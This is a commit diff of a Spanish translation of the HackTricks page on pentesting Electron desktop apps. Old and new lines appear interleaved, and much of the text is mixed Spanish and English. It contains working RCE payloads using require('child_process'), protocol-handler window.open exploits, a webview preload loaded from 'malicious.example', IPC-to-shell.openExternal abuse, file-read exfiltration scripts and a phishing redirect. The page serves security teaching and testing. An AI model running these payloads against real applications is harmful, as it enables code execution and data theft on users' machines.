mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
3cbd2c3e5a
commit
dedb98bf59
@ -1,4 +1,4 @@
|
||||
# Aplicaciones de Escritorio Electron
|
||||
# Electron Desktop Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,12 +6,12 @@
|
||||
|
||||
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
|
||||
|
||||
Por lo general, puedes encontrar el código de la aplicación electron dentro de una aplicación `.asar`, para obtener el código necesitas extraerlo:
|
||||
Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación `.asar`; para obtener el código necesitas extraerlo:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se configuran las opciones de seguridad.
|
||||
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ En el código fuente de una aplicación Electron, dentro de `packet.json`, puede
|
||||
```
|
||||
Electron tiene 2 tipos de procesos:
|
||||
|
||||
- Proceso Principal (tiene acceso completo a NodeJS)
|
||||
- Proceso de Renderizado (debería tener acceso restringido a NodeJS por razones de seguridad)
|
||||
- Main Process (tiene acceso completo a NodeJS)
|
||||
- Renderer Process (debería tener acceso a NodeJS restringido por razones de seguridad)
|
||||
|
||||
.png>)
|
||||
|
||||
Un **proceso de renderizado** será una ventana del navegador cargando un archivo:
|
||||
Un **renderer process** será una ventana del navegador que carga un archivo:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
|
||||
Los ajustes del **proceso de renderizado** pueden **configurarse** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
|
||||
|
||||
La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo:
|
||||
La aplicación Electron **podría acceder al dispositivo** vía las APIs de Node aunque se puede configurar para evitarlo:
|
||||
|
||||
- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado.
|
||||
- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados.
|
||||
- **`preload`** - vacío por defecto.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar.
|
||||
- Integración de Node en Trabajadores
|
||||
- **`nodeIntegrationInSubframes`** - está `desactivado` por defecto.
|
||||
- Si **`nodeIntegration`** está **activado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron.
|
||||
- Si **`nodeIntegration`** está **desactivado**, entonces los preloads se cargarán en el iframe.
|
||||
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
||||
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
|
||||
- **`preload`** - empty by default.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`**- is `off` by default.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
|
||||
Ejemplo de configuración:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Algunos **RCE payloads** de [aquí](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Algunos **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Captura de tráfico
|
||||
### Capturar tráfico
|
||||
|
||||
Modifica la configuración de start-main y añade el uso de un proxy como:
|
||||
Modifica la configuración start-main y añade el uso de un proxy como:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Inyección de Código Local en Electron
|
||||
## Electron Local Code Injection
|
||||
|
||||
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
|
||||
|
||||
Si puedes ejecutar localmente una aplicación de Electron, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +112,7 @@ Si puedes ejecutar localmente una aplicación de Electron, es posible que puedas
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Si **nodeIntegration** está configurado en **on**, el JavaScript de una página web puede utilizar características de Node.js fácilmente solo llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
|
||||
Si la **nodeIntegration** está configurada en **on**, el JavaScript de una página web puede usar las funcionalidades de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la manera de ejecutar la aplicación calc en Windows es:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las APIs de Node**:
|
||||
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -152,16 +153,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
El _**contextIsolation**_ introduce **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron**, de modo que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
|
||||
The _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno JavaScript de Electron** de modo que la ejecución de JavaScript de cada uno no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
|
||||
|
||||
Si los contextos no están aislados, un atacante puede:
|
||||
If the contexts aren't isolated an attacker can:
|
||||
|
||||
1. Ejecutar **JavaScript arbitrario en el renderer** (XSS o navegación a sitios externos)
|
||||
2. **Sobrescribir el método incorporado** que se utiliza en el preload o en el código interno de Electron para su propia función
|
||||
3. **Activar** el uso de la **función sobrescrita**
|
||||
4. ¿RCE?
|
||||
1. Ejecutar **JavaScript arbitrario en renderer** (XSS o navegación a sitios externos)
|
||||
2. **Sobrescribir el método incorporado** que se usa en preload o en el código interno de Electron para tomar el control de la función
|
||||
3. **Provocar** el uso de la **función sobrescrita**
|
||||
4. RCE?
|
||||
|
||||
Hay 2 lugares donde los métodos incorporados pueden ser sobrescritos: En el código de preload o en el código interno de Electron:
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -178,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass del evento de clic
|
||||
### Bypass click event
|
||||
|
||||
Si hay restricciones aplicadas al hacer clic en un enlace, es posible que puedas eludirlas **haciendo un clic medio** en lugar de un clic izquierdo normal.
|
||||
Si hay restricciones aplicadas al hacer clic en un enlace, podrías poder eludirlas **haciendo un clic central** en lugar del clic izquierdo regular
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE a través de shell.openExternal
|
||||
## RCE vía shell.openExternal
|
||||
|
||||
Para más información sobre estos ejemplos, consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Para más información sobre estos ejemplos consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Al desplegar una aplicación de escritorio Electron, es crucial asegurar la configuración correcta de `nodeIntegration` y `contextIsolation`. Se establece que la **ejecución remota de código del lado del cliente (RCE)** dirigida a scripts de precarga o al código nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.
|
||||
Al desplegar una aplicación de escritorio Electron, asegurar las configuraciones correctas para `nodeIntegration` y `contextIsolation` es crucial. Está demostrado que **client-side remote code execution (RCE)** dirigido a preload scripts o al código nativo de Electron desde el proceso principal queda efectivamente prevenido con estas configuraciones.
|
||||
|
||||
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan oyentes de eventos específicos, que son cruciales para la seguridad y funcionalidad de la aplicación:
|
||||
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se disparan manejadores de eventos específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Estos oyentes son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión se toma típicamente a través de una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
|
||||
Estos listeners son **overridden by the desktop application** para implementar su propia **business logic**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
|
||||
|
||||
**Aquí hay un pseudocódigo simplificado:**
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
|
||||
Electron JS security best practices aconseja no aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de varios protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación más amplia sobre este tema, se puede consultar [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
|
||||
|
||||
En macos, la función `openExternal` puede ser explotada para ejecutar comandos arbitrarios como en `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios como en `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Ejemplos de exploits de protocolos de Windows incluyen:**
|
||||
**Examples of Windows protocol exploits include:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -229,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Esta vulnerabilidad se puede encontrar en **[este informe](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Esta vulnerabilidad se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **proceso de renderizado**, que debería estar deshabilitada ya que permite cargar un script dentro del contexto de precarga como:
|
||||
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, la cual debería deshabilitarse ya que permite cargar un script dentro del **preload context** como:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Por lo tanto, un atacante que logra cargar una página arbitraria podría usar esa etiqueta para **cargar un script de precarga arbitrario**.
|
||||
Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
|
||||
|
||||
Este script de precarga fue abusado para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que estaba llamando a **`shell.openExternal`** para obtener RCE:
|
||||
Este preload script fue entonces abusado para invocar un **servicio IPC vulnerable (`skype-new-window`)** que estaba llamando llamando a **`shell.openExternal`** para obtener RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Lectura de Archivos Internos: XSS + contextIsolation
|
||||
## Lectura de archivos internos: XSS + contextIsolation
|
||||
|
||||
**Deshabilitar `contextIsolation` permite el uso de `<webview>` tags**, similar a `<iframe>`, para leer y exfiltrar archivos locales. Un ejemplo proporcionado demuestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
|
||||
**Al deshabilitar `contextIsolation` se permite el uso de etiquetas `<webview>`**, similares a `<iframe>`, para leer archivos locales y exfiltrating su contenido. Un ejemplo muestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
|
||||
|
||||
.png>)
|
||||
|
||||
Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
|
||||
Además, se comparte otro método para **leer un archivo interno**, que destaca una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica injecting a script para explotar la aplicación y exfiltrate data:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -270,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
## **RCE: XSS + Chromium antiguo**
|
||||
|
||||
Si el **chromium** utilizado por la aplicación es **antiguo** y hay **vulnerabilidades** **conocidas** en él, podría ser posible **explotarlo y obtener RCE a través de un XSS**.\
|
||||
Si el **chromium** usado por la aplicación es **antiguo** y hay **vulnerabilidades** **conocidas** en él, podría ser posible **explotarlo y obtener RCE mediante una XSS**.\
|
||||
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing a través de bypass de regex de URL interna**
|
||||
## **XSS Phishing mediante bypass de regex de URL internas**
|
||||
|
||||
Suponiendo que encontraste un XSS pero **no puedes activar RCE o robar archivos internos**, podrías intentar usarlo para **robar credenciales a través de phishing**.
|
||||
Suponiendo que encontraste una XSS pero **no puedes desencadenar RCE ni robar archivos internos** podrías intentar usarla para **robar credenciales mediante phishing**.
|
||||
|
||||
Primero que nada, necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
|
||||
Antes que nada necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
La llamada a **`openInternally`** decidirá si el **link** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
|
||||
La llamada a **`openInternally`** decidirá si el **link** se **abrirá** en la **ventana de escritorio** ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
|
||||
|
||||
En el caso de que la **regex** utilizada por la función sea **vulnerable a bypasses** (por ejemplo, al **no escapar los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
|
||||
En caso de que la **regex** usada por la función sea **vulnerable a bypasses** (por ejemplo por **no escapar los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -294,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Protocolo
|
||||
|
||||
Como se menciona en [la documentación](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), las páginas que se ejecutan en **`file://`** tienen acceso unilateral a cada archivo en tu máquina, lo que significa que **los problemas de XSS pueden ser utilizados para cargar archivos arbitrarios** desde la máquina del usuario. Usar un **protocolo personalizado** previene problemas como este, ya que puedes limitar el protocolo a servir solo un conjunto específico de archivos.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **protocolo personalizado** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
|
||||
## Módulo remoto
|
||||
## Módulo remote
|
||||
|
||||
El módulo Remote de Electron permite que **los procesos de renderizado accedan a las APIs del proceso principal**, facilitando la comunicación dentro de una aplicación Electron. Sin embargo, habilitar este módulo introduce riesgos de seguridad significativos. Amplía la superficie de ataque de la aplicación, haciéndola más susceptible a vulnerabilidades como ataques de scripting entre sitios (XSS).
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Aunque el módulo **remote** expone algunas APIs del proceso principal a los procesos de renderizado, no es sencillo obtener RCE solo abusando de los componentes. Sin embargo, los componentes pueden exponer información sensible.
|
||||
> Aunque el módulo **remote** expone algunas APIs del proceso main a los procesos renderer, no es sencillo obtener RCE únicamente abusando de los componentes. Sin embargo, los componentes podrían exponer información sensible.
|
||||
|
||||
> [!WARNING]
|
||||
> Muchas aplicaciones que aún utilizan el módulo remoto lo hacen de una manera que **requiere que NodeIntegration esté habilitado** en el proceso de renderizado, lo cual es un **enorme riesgo de seguridad**.
|
||||
> Muchas apps que aún usan el módulo remote lo hacen de forma que **requieren que NodeIntegration esté habilitado** en el proceso renderer, lo cual es un **riesgo de seguridad enorme**.
|
||||
|
||||
Desde Electron 14, el módulo `remote` de Electron podría habilitarse en varios pasos, debido a razones de seguridad y rendimiento, se **recomienda no usarlo**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
|
||||
Para habilitarlo, primero se necesita **habilitarlo en el proceso principal**:
|
||||
To enable it, it'd first needed to **enable it in the main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,35 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Luego, el proceso de renderizado puede importar objetos del módulo como:
|
||||
Entonces, el proceso renderer puede importar objetos desde el módulo de la siguiente manera:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remoto:
|
||||
La **[entrada del blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remoto:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Reinicia** la aplicación al **salir** de la instancia actual y **lanzar** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**.
|
||||
- **Reinicia** la aplicación al **cerrar** la instancia actual y **lanzar** una nueva. Útil para **actualizaciones de la aplicación** o cambios significativos de **estado**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Define** o **crea** un directorio para almacenar los **registros de la app**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
|
||||
- **Define** o **crea** un directorio para almacenar los **registros de la aplicación**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar un **ruta personalizada** y **argumentos** si es necesario.
|
||||
- **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Agrega** tareas a la **categoría de Tareas** en la **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la app o qué **argumentos** se pasan.
|
||||
- **Agrega** tareas a la **categoría Tasks** en la **Jump List** (en Windows). Cada tarea puede controlar cómo se **inicia** la app o qué **argumentos** se pasan.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importa** un **certificado PKCS#12** en el **almacen de certificados** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
|
||||
- **Importa** un certificado **PKCS#12** en el **almacén de certificados** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Mueve** la aplicación a la **carpeta de Aplicaciones** (en macOS). Ayuda a asegurar una **instalación estándar** para los usuarios de Mac.
|
||||
- **Mueve** la aplicación a la **carpeta Applications** (en macOS). Ayuda a asegurar una **instalación estándar** para usuarios de Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Establece** o **elimina** una **Jump List personalizada** en **Windows**. Puedes especificar **categorías** para organizar cómo aparecen las tareas al usuario.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Configura** qué **ejecutables** se inician al **iniciar sesión** junto con sus **opciones** (solo macOS y Windows).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## module systemPreferences
|
||||
## módulo systemPreferences
|
||||
|
||||
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** y **setUserDefault** son todos **parte de** este módulo.
|
||||
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** son todos **parte de** este módulo.
|
||||
|
||||
**Ejemplo de uso:**
|
||||
```javascript
|
||||
@ -364,48 +367,50 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Escucha** las **notificaciones nativas de macOS** usando NSDistributedNotificationCenter.
|
||||
* Antes de **macOS Catalina**, podías espiar **todas** las notificaciones distribuidas pasando **nil** a CFNotificationCenterAddObserver.
|
||||
* Después de **Catalina / Big Sur**, las aplicaciones en sandbox aún pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueos/desbloqueos de pantalla**, **montajes de volumen**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
|
||||
- **Escucha** notificaciones **nativas de macOS** usando NSDistributedNotificationCenter.
|
||||
- Antes de **macOS Catalina**, podías esnifar **todas** las notificaciones distribuidas pasando **nil** a CFNotificationCenterAddObserver.
|
||||
- Después de **Catalina / Big Sur**, las aplicaciones sandbox aún pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueo/desbloqueo de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interfaz** con **NSUserDefaults**, que almacena preferencias **de aplicación** o **globales** en macOS.
|
||||
- **Interactúa** con **NSUserDefaults**, que almacena preferencias **de la aplicación** o **globales** en macOS.
|
||||
|
||||
* **getUserDefault** puede **recuperar** información sensible, como **ubicaciones de archivos recientes** o **ubicación geográfica del usuario**.
|
||||
- **getUserDefault** puede **recuperar** información sensible, como **ubicaciones de archivos recientes** o **la ubicación geográfica del usuario**.
|
||||
|
||||
* **setUserDefault** puede **modificar** estas preferencias, afectando potencialmente la **configuración** de una aplicación.
|
||||
- **setUserDefault** puede **modificar** estas preferencias, afectando potencialmente la **configuración** de una aplicación.
|
||||
|
||||
* En **versiones anteriores de Electron** (antes de v8.3.0), solo la **suite estándar** de NSUserDefaults era **accesible**.
|
||||
- En **versiones antiguas de Electron** (antes de v8.3.0), solo la **suite estándar** de NSUserDefaults era **accesible**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Esta función muestra el archivo dado en un administrador de archivos, lo que **podría ejecutar automáticamente el archivo**.
|
||||
Esta función muestra el archivo dado en un gestor de archivos, lo cual **podría ejecutar automáticamente el archivo**.
|
||||
|
||||
Para más información consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Las aplicaciones de Electron deben tener una **Política de Seguridad de Contenido (CSP)** para **prevenir ataques XSS**. La **CSP** es un **estándar de seguridad** que ayuda a **prevenir** la **ejecución** de **código no confiable** en el navegador.
|
||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
||||
|
||||
Generalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **etiqueta meta**.
|
||||
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones de Electron que utiliza Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceros vulnerables.
|
||||
- [**Electro.ng**](https://electro.ng/): Necesitas comprarlo.
|
||||
## **Herramientas**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y anti-patrones de seguridad en aplicaciones basadas en Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para comprobar bibliotecas de terceros vulnerables
|
||||
- [**Electro.ng**](https://electro.ng/): Es de pago
|
||||
|
||||
## Labs
|
||||
|
||||
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones de Electron vulnerables.
|
||||
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
|
||||
|
||||
Algunos comandos que te ayudarán con el laboratorio:
|
||||
```bash
|
||||
@ -430,14 +435,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
